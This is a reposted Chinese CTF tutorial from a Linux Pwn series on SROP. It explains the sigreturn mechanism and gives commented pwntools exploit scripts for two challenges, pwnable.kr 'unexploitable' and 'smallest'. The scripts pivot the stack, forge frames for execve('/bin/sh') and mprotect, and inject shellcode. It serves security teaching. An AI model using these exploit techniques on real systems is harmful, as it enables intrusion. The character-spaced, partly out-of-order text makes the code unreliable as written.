搜索

[19522] 2019-08-27_CTF必备技能丨LinuxPwn入门教程——SROP

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2019-08-27_CTF必备技能丨LinuxPwn入门教程——SROP C T F 必 备 技 能 丨 L i n u x   P w n 入 门 教 程 — — S R O P i 春 秋   2 0 1 9 - 0 8 - 2 7 L i n u x   P w n 入 门 教 程 系 列 分 享 如 约 而 至 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 第 九 章 ： S R O P ， 阅 读 用 时 约 1 0 分 钟 。 0 1 S R O P 应 用 场 景 与 原 理 传 统 的 R O P 技 术 ， 尤 其 是 a m d 6 4 上 的 R O P ， 需 要 寻 找 大 量 的 g a d g e t s 以 对 寄 存 器 进 行 赋 值 ， 执 行 特 定 操 作 ， 如 果 没 有 合 适 的 g a d g e t s 就 需 要 进 行 各 种 奇 怪 的 组 装 。 这 一 过 程 阻 碍 了 R O P 技 术 的 使 用 。 而 S R O P 技 术 的 提 出 大 大 简 化 了 R O P 攻 击 的 流 程 。 S R O P ( S i g r e t u r n   O r i e n t e d   P r o g r a m m i n g ) 技 术 利 用 了 类 U n i x 系 统 中 的 S i g n a l 机 制 ， 如 图 ： 上 方 为 用 户 层 ， 下 方 为 内 核 层 。 对 于 L i n u x 来 说 ： 1 、 当 一 个 用 户 层 进 程 发 起 s i g n a l 时 ， 控 制 权 切 到 内 核 层 ； 2 、 内 核 保 存 进 程 的 上 下 文 ( 对 我 们 来 说 重 要 的 就 是 寄 存 器 状 态 ) 到 用 户 的 栈 上 ， 然 后 再 把 r t _ s i g r e t u r n 地 址 压 栈 ， 跳 到 用 户 层 执 行 S i g n a l   H a n d l e r ， 即 调 用 r t _ s i g r e t u r n ；
3 、 r t _ s i g r e t u r n 执 行 完 ， 跳 到 内 核 层 ； 4 、 内 核 恢 复 ② 中 保 存 的 进 程 上 下 文 ， 控 制 权 交 给 用 户 层 进 程 。 有 趣 的 是 ， 这 个 过 程 存 在 着 两 个 问 题 ： 1 、 r t _ s i g r e t u r n 在 用 户 层 调 用 ， 地 址 保 存 在 栈 上 ， 执 行 后 出 栈 ； 2 、 上 下 文 也 保 存 在 栈 上 ， 比 r t _ s i g r e t u r n 先 进 栈 ， 且 内 核 恢 复 上 下 文 时 不 校 验 。 因 此 ， 我 们 完 全 可 以 自 己 在 栈 上 放 好 上 下 文 ， 然 后 自 己 调 用 r e _ s i g r e t u r n ， 跳 过 步 骤 1 、 2 。 此 时 ， 我 们 将 通 过 步 骤 3 、 4 让 内 核 把 我 们 伪 造 的 上 下 文 恢 复 到 用 户 进 程 中 ， 也 就 是 说 我 们 可 以 重 置 所 有 寄 存 器 的 值 ， 一 次 到 位 地 做 到 控 制 通 用 寄 存 器 ， r i p 和 完 成 栈 劫 持 。 这 里 的 上 下 文 我 们 称 之 为 S i g r e t u r n   F r a m e 。 文 章 中 同 样 给 出 了 S i g r e t u r n   F r a m e 的 结 构 。 当 然 ， 我 们 在 做 S R O P 的 时 候 可 以 直 接 调 用 p w n t o o l s 的 S i g r e t u r n F r a m e 来 快 速 生 成 这 个 S R O P 帧 ， 如 这 篇 文 档 所 示 ： h t t p : / / d o c s . p w n t o o l s . c o m / e n / s t a b l e / r o p / s r o p . h t m l 具 体 的 例 子 我 们 会 在 例 题 中 介 绍 。 需 要 注 意 的 是 ， p w n t o o l s 中 的 S i g r e t u r n F r a m e 中 并 不 需 要 填 写 r t _ s i g r e t u r n 的 地 址 ， 我 们 只 需 要 确 保 执 行 r t _ s i g r e t u r n 的 时 候 栈 顶 是 S i g r e t u r n F r a m e 就 行 。 因 此 我 们 可 以 通 过 s y s c a l l 指 令 调 用 r t _ s i g r e t u r n 而 不 必 特 意 去 寻 找 这 个 调 用 的 完 整 实 现 。 此 外 ， 根 据 文 档 和 源 码 实 现 ， 由 于 3 2 位 分 为 原 生 的 i 3 8 6 （ 3 2 位 系 统 ） 和 i 3 8 6   o n   a m d 6 4 （ 6 4 位 系 统 添 加 3 2 位 应 用 程 序 支 持 ） 两 种 情 况 ， 这 两 种 情 况 的 段 寄 存 器 设 置 有 所 不 同 。 所 以 设 置 也 不 相 同 。 对 于 原 生 的 i 3 8 6 来 说 ， 其 S i g n a l F r a m e 的 设 置 为 ： c o n t e x t . a r c h   =   ‘ i 3 8 6 ’ S R O P F r a m e   =   S i g r e t u r n F r a m e ( k e r n e l   =   ‘ i 3 8 6 ’ )
对 于 a m d 6 4 上 运 行 的 3 2 位 程 序 来 说 ， 其 S i g n a l F r a m e 的 设 置 为 ： 0 2 S R O P 实 例 1 上 一 节 我 们 着 重 抽 出 了 S R O P 的 原 理 进 行 讲 解 ， 并 介 绍 了 使 用 p w n t o o l s 进 行 S R O P 的 一 些 注 意 事 项 ， 接 下 来 我 们 通 过 两 个 例 子 来 学 习 一 下 S R O P 实 战 。 首 先 我 们 打 开 例 子 ~ / p w n a b l e . k r - u n e x p l o i t a b l e / u n e x p l o i t a b l e 。 和 之 前 的 例 子 比 起 来 ， 这 个 程 序 可 以 说 是 极 其 简 洁 了 。 栈 溢 出 ， g o t 表 中 没 有 s y s t e m ， 也 没 有 w r i t e ， p u t s 之 类 的 输 出 函 数 ， 没 办 法 泄 露 l i b c ， 使 用 R O P g a d g e t 也 搜 不 到 s y s c a l l 。 那 么 这 个 题 目 就 无 解 了 吗 ？ 其 实 不 然 ， R O P g a d g e t 似 乎 存 在 一 个 缺 陷 ， 无 法 把 单 独 的 s y s c a l l 识 别 成 一 个 g a d g e t 。 因 此 我 们 需 要 安 装 另 一 个 g a d g e t 搜 寻 工 具 r o p p e r [ h t t p s : / / g i t h u b . c o m / s a s h s / R o p p e r ] ， 通 过 r o p p e r 搜 索 到 了 一 个 s y s c a l l 。 但 是 存 在 另 一 个 问 题 ， 我 们 找 不 到 给 r s i ， r d i 等 寄 存 器 赋 值 的 g a d g e t 。 这 就 意 味 着 我 们 也 没 办 法 直 接 通 过 R O P 实 现 g e t s h e l l 。 我 们 注 意 到 r e a d 读 取 的 长 度 是 0 x 5 0 f ， 而 栈 溢 出 只 需 要 1 6 字 节 就 能 够 到 r i p 。 可 以 溢 出 的 长 度 远 大 于 S i g r e t u r n F r a m e 的 长 度 ， 所 以 我 们 可 以 尝 试 使 用 S R O P   g e t s h e l l 。 在 写 脚 本 之 前 ， 我 们 先 确 定 一 下 g e t s h e l l   的 方 案 ， 这 里 我 们 选 择 直 接 调 用 s y s _ e x e c v e 执 行 e x e c v e ( ‘ / b i n / s h ’ ,   0 ,   0 ) 。 这 个 方 案 要 求 我 们 读 取 字 符 串 到 一 个 固 定 的 地 址 “ / b i n / s h x 0 0 ” 。 由 于 s y s c a l l 实 际 上 是 拆 分 了 m o v   e d x ,   5 0 F h 这 条 指 令 ， 执 行 完 s y s c a l l 之 后 是 两 个 x 0 0 。 c o n t e x t . a r c h = ’ i 3 8 6 ’ S R O P F r a m e   =   S i g r e t u r n F r a m e ( k e r n e l   =   ‘ a m d 6 4 ’ )
无 法 被 解 释 成 合 法 的 指 令 ， 所 以 我 们 没 办 法 用 S R O P 调 用 r e a d 。 我 们 考 虑 用 程 序 中 原 有 的 r e a d 读 取 “ / b i n / s h x 0 0 ” 。 由 于 我 们 找 不 到 给 r s i 传 值 的 g a d g e t ， 我 们 考 虑 通 过 修 改 r b p 来 修 改 r a x ,   进 而 修 改 r s i ， 我 们 先 劫 持 一 下 r b p 。 执 行 完 第 二 次 r e a d 之 后 ， 我 们 测 试 用 的 数 据 1 2 3 4 被 读 取 到 了 固 定 地 址 0 x 6 0 1 1 5 c 处 ， 然 而 由 于 c a l l   _ r e a d 后 的 l e a v e ， 栈 也 被 劫 持 到 了 0 x 6 0 1 1 7 4 ， 此 时 r i p 又 指 向 了 r e t n ， 所 以 我 们 把 测 试 数 据 替 换 成 R O P 链 就 可 以 继 续 进 行 操 作 。 这 里 我 们 可 以 顺 势 把 “ / b i n / s h x 0 0 ” 放 在 0 x 6 0 1 1 5 c ， 然 后 接 上 一 些 填 充 字 符 串 ， 在 0 x 6 0 1 1 7 4 接 r t _ s i g r e t u r n ， 后 面 接 S i g r e t u r n F r a m e ， 就 完 成 S R O P 了 。 但 是 问 题 是 我 们 只 有 s y s c a l l ， 怎 么 设 置 r a x = 0 x f 从 而 调 用 r t _ s i g r e t u r n 呢 ？ 我 们 知 道 r e a d 的 返 回 值 是 其 成 功 读 取 的 字 符 数 ， 而 i 3 8 6 / a m d 6 4 的 返 回 值 一 般 保 存 在 e a x / r a x 中 。 因 此 ， 我 们 可 以 先 再 次 调 用 r e a d 读 取 1 5 个 字 符 ， 然 后 执 行 到 r e t n 时 调 用 s y s c a l l 。 因 此 构 造 p a y l o a d 如 下 ： s y s c a l l _ a d d r   =   0 x 4 0 0 5 6 0 s e t _ r e a d _ a d d r   =   0 x 4 0 0 5 5 b r e a d _ a d d r   =   0 x 4 0 0 5 7 1 f a k e _ s t a c k _ a d d r   =   0 x 6 0 1 1 6 c f a k e _ e b p _ a d d r   =   0 x 6 0 1 1 6 c b i n s h _ a d d r   =   0 x 6 0 1 1 5 c i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   ' a ' * 1 6                               # p a d d i n g p a y l o a d   + =   p 6 4 ( f a k e _ s t a c k _ a d d r )   # 两 次 l e a v e 造 成 的 s t a c k   p i v o t ， 第 一 次 使 r b p 变 为 0 x 6 0 1 1 6 c ,   r b p + b u f 为 0 x 6 0 1 1 5 c p a y l o a d   + =   p 6 4 ( s e t _ r e a d _ a d d r )       # l e a   r a x ,   [ r b p + b u f ] ;   m o v   e d x ,   5 0 F h ;   m o v   r s i ,   r a x ;   m o v   e d i ,   0 ;   m o v   e a x ,   0 ;   c a l l   _ r e a d i o . s e n d ( p a y l o a d )
虽 然 0 x 6 0 1 1 7 4 - 0 x 6 0 1 1 5 c = 0 x 1 8 ,   “ / b i n / s h x 0 0 ” 占 据 8 个 字 符 ， 但 是 p a d d i n g 却 不 是 ‘ a ’ * 0 x 1 0 而 是 ‘ a ’ * 8 ， 这 是 因 为 再 次 执 行 r e a d 还 是 会 碰 到 l e a v e 指 令 ， 因 此 这 里 栈 上 的 r b p 需 要 精 心 计 算 。 第 三 次 r e a d 的 时 候 （ 第 一 次 劫 持 了 R B P 并 调 用 第 二 次 ， 第 二 次 读 “ / b i n / s h x 0 0 ” 和 S i g r e t u r n F r a m e 到 b s s 上 新 的 栈 帧 并 调 用 第 三 次 ） 是 直 接 调 用 了 c a l l   _ r e a d 这 行 指 令 ， r s i ， r d i ， r d x 都 不 变 ， 所 以 任 何 输 入 的 数 据 都 会 覆 盖 掉 p a y l o a d 最 开 始 的 1 5 个 字 符 。 为 了 防 止 “ / b i n / s h x 0 0 ” 被 改 掉 ， 我 们 再 次 输 入 p a y l o a d 的 前 1 5 个 字 符 ， 改 相 当 于 没 改 。 i o . s e n d ( ' / b i n / s h x 0 0 '   +   ( ' a ' ) * 7 )               # 读 取 1 5 个 字 符 到 0 x 6 0 1 1 5 c ， 目 的 是 利 用 r e a d 返 回 值 为 读 取 的 字 节 数 的 特 性 设 置 r a x = 0 x f ， 注 意 f r a m e E x e c v e   =   S i g r e t u r n F r a m e ( )                             # 设 置 S R O P   F r a m e f r a m e E x e c v e . r a x   =   c o n s t a n t s . S Y S _ e x e c v e f r a m e E x e c v e . r d i   =   b i n s h _ a d d r f r a m e E x e c v e . r s i   =   0 f r a m e E x e c v e . r d x   =   0 f r a m e E x e c v e . r i p   =   s y s c a l l _ a d d r p a y l o a d   =   " " p a y l o a d   + =   " / b i n / s h x 0 0 "                                 # b i n s h ， 在 0 x 6 0 1 1 5 c p a y l o a d   + =   ' a ' * 8                                                 # p a d d i n g p a y l o a d   + =   p 6 4 ( f a k e _ s t a c k _ a d d r + 0 x 1 0 )         # 在 0 x 6 0 1 1 6 c ， l e a v e 指 令 之 后 r s p 指 向 此 处 + 8 ， + 0 x 1 8 之 后 指 向 s y s c a l l 所 在 栈 地 址 p a y l o a d   + =   p 6 4 ( r e a d _ a d d r )                               # 在 0 x 6 0 1 1 7 4 ， r s i ,   r d i ,   r d x 不 变 ， 调 用 r e a d ， 用 下 面 的 s e t   r a x 输 入 1 5 个 字 符 设 置 p a y l o a d   + =   p 6 4 ( f a k e _ e b p _ a d d r )                       # c a l l   r e a d 下 一 行 是 l e a v e ,   r s p 再 次 被 换 成 f a k e _ s t a c k _ a d d r + 0 x 1 0 + 8 ,   即 0 x 6 0 1 1 7 c p a y l o a d   + =   p 6 4 ( s y s c a l l _ a d d r )                         # 在 0 x 6 0 1 1 7 c + 8 ， 即 0 x 6 0 1 1 8 4 ， 调 用 s y s c a l l 。 上 一 步 的 c a l l   r e a d 读 取 了 1 5 个 字 符 ， 所 以 p a y l o a d   + =   s t r ( f r a m e E x e c v e )                           # S i g r e t u r n F r a m e
不 要 使 / b i n / s h x 0 0 字 符 串 发 生 改 变 。 这 时 候 如 果 是 p w n t o o l s + I D A 调 试 ， r e t n 之 后 将 会 跳 到 s y s c a l l 。 此 时 第 一 次 s y s c a l l 时 r a x 是 0 x f ， 再 按 一 次 F 8 就 会 发 现 R A X 和 其 他 寄 存 器 的 值 都 换 成 了 S i g r e t u r n F r a m e 中 预 设 的 值 。 这 就 是 S R O P 攻 击 成 功 了 。 此 时 直 接 F 9 ， 就 可 以 使 用 i o . i n t e r a c t i v e (   ) 开 s h e l l 了 。 0 3 S R O P 实 例 2 上 一 节 中 我 们 学 习 了 如 何 使 用 S R O P 完 成 一 次 攻 击 。 这 一 节 我 们 将 通 过 另 一 个 例 子 继 续 巩 固 S R O P 技 巧 ， 并 通 过 另 一 种 方 法 完 成 攻 击 。 我 们 打 开 例 子 ~ / 3 6 0 i c h u n q i u   2 0 1 7 - s m a l l e s t / s m a l l e s t 。 这 同 样 是 个 非 常 简 单 的 程 序 ： 这 个 程 序 同 样 可 以 用 S R O P 执 行 e x e c v e ( ‘ / b i n / s h x 0 0 ’ ， 0 ， 0 ) （ 我 们 把 它 作 为 练 习 ） ， 但 是 这 次 我 们 来 试 一 下 通 过 m p r o t e c t 修 改 内 存 页 属 性 + s h e l l c o d e 进 行 g e t s h e l l 。 首 先 ， 我 们 得 为 s h e l l c o d e 寻 找 一 片 地 址 ， 由 于 这 个 程 序 没 有 B S S 段 ： 我 们 只 能 选 择 先 用 m p r o t e c t 修 改 一 片 不 可 写 内 存 为 可 写 或 者 直 接 写 在 栈 上 。 前 一 种 方 案 势 必 要 使 用 S R O P ， 从 而 造 成 栈 劫 持 ， 而 新 栈 上 的 数 据 无 法 控 制 ， 会 导 致 程 序 r e t n 后 崩 溃 ， 因 此 我 们 只 能 选 择 写 s h e l l c o d e 在 栈 上 。
这 就 需 要 我 们 泄 露 栈 地 址 。 我 们 可 以 先 用 s y s _ r e a d 读 取 1 个 字 节 长 度 ， 设 置 r a x = 1 ， 然 后 调 用 s y s _ w r i t e 泄 露 数 据 。 程 序 设 置 b u f 的 指 令 是 m o v   r s p ,   r s i ， 所 以 直 接 返 回 到 这 行 指 令 上 就 可 以 泄 露 r s p 地 址 。 泄 露 出 栈 地 址 之 后 我 们 就 可 以 开 始 把 栈 劫 持 到 泄 露 出 来 的 栈 地 址 处 了 。 由 于 在 上 一 步 泄 露 栈 地 址 时 ， 我 们 设 置 了 泄 露 后 返 回 到 s t a r t 处 ， 因 此 接 下 来 程 序 应 该 继 续 执 行 一 次 r e a d . 我 们 利 用 这 次 r e a d 使 用 S R O P 执 行 s y s _ r e a d ， 在 读 取 接 下 来 p a y l o a d 的 同 时 完 成 栈 劫 持 。 s y s c a l l _ a d d r   =   0 x 4 0 0 0 b e s t a r t _ a d d r   =   0 x 4 0 0 0 b 0 s e t _ r s i _ r d i _ a d d r   =   0 x 4 0 0 0 b 8 s h e l l c o d e   =   a s m ( s h e l l c r a f t . a m d 6 4 . l i n u x . s h ( ) ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )                     # 返 回 到 s t a r t 重 新 执 行 一 遍 s y s _ r e a d ， 利 用 返 回 值 设 置 r a x   =   1 ， 调 用 s y s _ w r i t e p a y l o a d   + =   p 6 4 ( s e t _ r s i _ r d i _ a d d r )         # m o v   r s i ,   r s p ;   m o v   r d i ,   r a x ;   s y s c a l l ;   r e t n ， 此 时 相 当 于 执 行 s y s _ w r i t e ( 1 ,   r s p ,   s i z e ) p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )                     # 泄 露 栈 地 址 之 后 返 回 到 s t a r t ， 执 行 下 一 步 操 作 i o . s e n d ( p a y l o a d ) s l e e p ( 3 ) i o . s e n d ( p a y l o a d [ 8 : 8 + 1 ] )                           # 利 用 s y s _ r e a d 读 取 一 个 字 符 ， 设 置 r a x   =   1 s t a c k _ a d d r   =   u 6 4 ( i o . r e c v ( ) [ 8 : 1 6 ] )   +   0 x 1 0 0       # 从 泄 露 的 数 据 中 抽 取 栈 地 址 l o g . i n f o ( ' s t a c k   a d d r   =   % # x '   % ( s t a c k _ a d d r ) ) f r a m e _ r e a d   =   S i g r e t u r n F r a m e ( )                       # 设 置 r e a d 的 S R O P 帧 f r a m e _ r e a d . r a x   =   c o n s t a n t s . S Y S _ r e a d f r a m e _ r e a d . r d i   =   0 f r a m e _ r e a d . r s i   =   s t a c k _ a d d r f r a m e _ r e a d . r d x   =   0 x 3 0 0 f r a m e _ r e a d . r s p   =   s t a c k _ a d d r                           # 这 个 s t a c k _ a d d r 地 址 中 的 内 容 就 是 s t a r t 地 址 ， S R O P 执 行 完 后 r e t 跳 转 到 s t a r t f r a m e _ r e a d . r i p   =   s y s c a l l _ a d d r
以 上 是 今 天 的 内 容 ， 大 家 看 懂 了 吗 ？ 后 面 我 们 将 持 续 更 新 L i n u x   P w n 入 门 教 程 的 相 关 章 节 ， 希 望 大 家 及 时 关 注 。 f r a m e _ r e a d . r i p   =   s y s c a l l _ a d d r p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )                             # 返 回 到 s t a r t 重 新 执 行 一 遍 s y s _ r e a d ， 利 用 返 回 值 设 置 r a x   =   0 x f ， 调 用 s y s _ s i g r e t u r n p a y l o a d   + =   p 6 4 ( s y s c a l l _ a d d r )                         # r e t 到 s y s c a l l ， 下 接 S R O P 帧 ， 触 发 S R O P p a y l o a d   + =   s t r ( f r a m e _ r e a d ) i o . s e n d ( p a y l o a d ) s l e e p ( 3 )                 i o . s e n d ( p a y l o a d [ 8 : 8 + 1 5 ] )                                 # 利 用 s y s _ r e a d 读 取 一 个 字 符 ， 设 置 r a x   =   0 x f ， 注 意 不 要 让 p a y l o a d 内 容 被 修 改 s l e e p ( 3 ) 由 于 s y s c a l l 的 下 一 条 指 令 是 r e t n ， 所 以 通 过 合 理 设 置 r s p 我 们 让 S R O P 执 行 s y s _ r e a d 完 成 后 又 返 回 到 s t a r t ， 再 次 使 用 S R O P 执 行 s y s _ m p r o t e c t ， 修 改 s h e l l c o d e 所 在 的 栈 页 面 为 R W X f r a m e _ m p r o t e c t   =   S i g r e t u r n F r a m e ( )               # 设 置 m p r o t e c t 的 S R O P 帧 ， 用 m p r o t e c t 修 改 栈 内 存 为 R W X f r a m e _ m p r o t e c t . r a x   =   c o n s t a n t s . S Y S _ m p r o t e c t f r a m e _ m p r o t e c t . r d i   =   s t a c k _ a d d r   &   0 x F F F F F F F F F F F F F 0 0 0 f r a m e _ m p r o t e c t . r s i   =   0 x 1 0 0 0 f r a m e _ m p r o t e c t . r d x   =   c o n s t a n t s . P R O T _ R E A D   |   c o n s t a n t s . P R O T _ W R I T E   |   c o n s t a n t s . P R O T _ E X E C f r a m e _ m p r o t e c t . r s p   =   s t a c k _ a d d r f r a m e _ m p r o t e c t . r i p   =   s y s c a l l _ a d d r p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r ) p a y l o a d   + =   p 6 4 ( s y s c a l l _ a d d r ) p a y l o a d   + =   s t r ( f r a m e _ m p r o t e c t ) i o . s e n d ( p a y l o a d ) s l e e p ( 3 ) i o . s e n d ( p a y l o a d [ 8 : 8 + 1 5 ] ) s l e e p ( 3 ) 再 次 返 回 到 s t a r t ， 使 用 R O P 链 跳 转 到 s h e l l c o d e 所 在 地 址 ， 同 时 输 入 s h e l l c o d e p a y l o a d   =   " "                                                 p a y l o a d   + =   p 6 4 ( s t a c k _ a d d r + 0 x 1 0 )                   # r e t 到 s t a c k _ a d d r + 0 x 1 0 ， 即 s h e l l c o d e 所 在 地 址 p a y l o a d   + =   a s m ( s h e l l c r a f t . a m d 6 4 . l i n u x . s h ( ) ) i o . s e n d ( p a y l o a d ) s l e e p ( 3 ) i o . i n t e r a c t i v e ( )
  课 后 例 题 和 练 习 题 非 常 重 要 ， 小 伙 伴 请 务 必 进 行 练 习 ， 进 群 后 管 理 员 会 给 大 家 发 放 哦 。 练 习 题 获 取 入 口 练 习 题 获 取 入 口 新 来 的 朋 友 如 果 想 要 了 解 其 他 的 必 备 技 能 和 实 用 工 具 ， 可 以 点 击 菜 单 栏 中 的 入 门 锦 囊 查 看 相 关 内 容 ： 文 章 素 材 来 源 于 i 春 秋 社 区 ●   入 门 教 程 第 一 章 ： 环 境 配 置 ●   入 门 教 程 第 二 章 ： 栈 溢 出 基 础 ●   入 门 教 程 第 三 章 ： S h e l l C o d e ●   入 门 教 程 第 四 章 ： R O P 技 术 ●   入 门 教 程 第 五 章 ： 调 整 栈 帧 的 技 巧 ●   入 门 教 程 第 六 章 ： 利 用 漏 洞 获 取 l i b c ●   入 门 教 程 第 七 章 ： 格 式 化 字 符 串 漏 洞 ●   入 门 教 程 第 八 章 ： P I E 与 b y p a s s 思 路
热 门 回 顾 热 门 回 顾 / 热 点 什 么 才 是 真 正 的 C T F ? / 培 训 W e b 安 全 入 门 必 备 知 识 E n d i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理